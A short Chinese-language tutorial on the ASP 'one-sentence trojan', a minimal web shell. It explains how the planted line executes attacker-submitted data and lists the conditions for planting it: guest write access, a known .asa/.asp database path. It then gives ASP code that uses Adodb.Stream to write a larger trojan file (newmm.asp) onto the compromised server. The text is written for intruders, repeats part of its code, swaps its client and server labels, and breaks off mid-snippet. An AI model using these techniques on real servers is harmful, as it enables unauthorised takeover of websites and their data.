一句话木马的工作原理:一句话木马分析服务端与客户端。
'一句话木马'服务端(是用于本地的html提交脚本木马文件)
就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 其中value可以自己修改
'一句话木马'客户端(远程服务器上被插入一句话的asp可执行文件)
用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件
一句话木马的适用环境:1.服务器的来宾账户有写入权限
2.已知数据库地址且数据库格式为asa或asp
3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可
现在先假设在远程主机的TEXT.ASP(客户端)中已经有了这个语句.)在ASP里意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)
setlP=server.createObject('Adodb.Stream')//建立流对象
lP.Open //打开
lP.Type=2//以文本方式
lP.CharSet='gb2312'//字体标准
lP.writetext request('newvalue')
lP.SaveToFile server.mappath('newmm.asp'),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
setlP=nothing//释放对象
response.redirect 'newmm.asp' //转向newmm.asp
添入生成木马的内容
表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和里的VALUE一样,就是我用蓝色标记的那两处,必须相等)
说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.
具体的就是下面这一段:
setlP=server.createObject('Adodb.Stream')//建立流对象
lP.Open